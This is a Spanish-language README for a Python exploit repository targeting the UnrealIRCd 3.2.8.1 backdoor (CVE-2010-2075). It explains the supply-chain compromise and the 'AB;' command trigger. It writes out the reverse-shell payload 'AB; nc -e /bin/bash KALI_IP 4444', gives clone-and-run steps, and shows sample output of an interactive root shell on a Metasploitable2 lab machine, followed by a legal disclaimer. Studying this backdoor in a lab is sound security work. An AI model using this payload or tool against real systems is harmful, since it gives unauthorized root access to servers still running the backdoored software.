Exploit de puerta trasera de UnrealIRCd 3.2.8.1 — reverse shell vía AB; trigger, construido desde cero en Python usando sockets sin procesar. Sin Metasploit.
UnrealIRCd es un servidor IRC (Internet Relay Chat) de código abierto — un protocolo que permite a los usuarios comunicarse en tiempo real a través de una red, similar a las primeras plataformas de chat.
Entre 2009 y 2010, se descubrió que UnrealIRCd 3.2.8.1 distribuido a través de los mirrors de descarga oficiales había sido comprometido. Un atacante había reemplazado el código fuente legítimo con una versión con puerta trasera que contenía un disparador oculto de ejecución de comandos.
Esto fue un ataque a la cadena de suministro — idéntico en naturaleza a CVE-2011-2523 (vsftpd 2.3.4). El software legítimo fue reemplazado por una versión modificada maliciosamente antes de que los usuarios lo descargaran.
La puerta trasera monitorea todos los datos entrantes en el puerto 6667. Si cualquier entrada comienza con la cadena , todo lo que sigue se pasa — omitiendo por completo toda la lógica IRC, la autenticación y las comprobaciones de registro.
AB;system()El disparador se activa durante la fase de inicialización de la conexión, antes de que el servidor IRC siquiera registre al cliente. No se requiere NICK, ni USER, ni autenticación.
Flujo del ataque:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Este exploit utiliza un reverse shell — el objetivo se conecta de vuelta al atacante, en lugar de que el atacante se conecte a un puerto en el objetivo.
| Tipo | Dirección | Usado en |
|---|---|---|
| Bind shell | Atacante → Objetivo | CVE-2011-2523 (vsftpd) |
| Reverse shell | Objetivo → Atacante | CVE-2010-2075 (UnrealIRCd) |
Los reverse shells omiten las reglas de firewall de entrada — las conexiones salientes desde el objetivo rara vez se bloquean.
netcat instalado en el objetivo (presente por defecto en Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Edita main.py y establece:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Ejecuta:
python3 main.py
Salida de ejemplo:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Escenario | Comportamiento |
|---|---|
| Puerto 6667 cerrado | Imprime "Port Closed", sale limpiamente |
| Versión incorrecta | Imprime "Not vulnerable", sale limpiamente |
| El objetivo no devuelve la llamada | listener.accept() espera (añadir timeout si es necesario) |
| El comando no produce salida | recv() expira silenciosamente, vuelve al prompt |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protocolo | FTP (puerto 21) | IRC (puerto 6667) |
| Disparador | :) en el nombre de usuario | Prefijo AB; en cualquier entrada |
| Tipo de shell | Bind shell (puerto 6200) | Reverse shell (puerto del atacante) |
| Conexiones | 2 salientes | 1 saliente + 1 entrante |
Este exploit está desarrollado estrictamente con fines educativos y para investigación de seguridad autorizada únicamente.
Construido y probado exclusivamente contra una máquina virtual Metasploitable2 local en un entorno de laboratorio completamente aislado.
No utilices esto contra ningún sistema que no poseas o para el que no tengas permiso explícito por escrito para probar. El uso no autorizado es ilegal según la Computer Fraud and Abuse Act (CFAA) y leyes equivalentes en todo el mundo.
El autor no acepta ninguna responsabilidad por el mal uso de este código.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub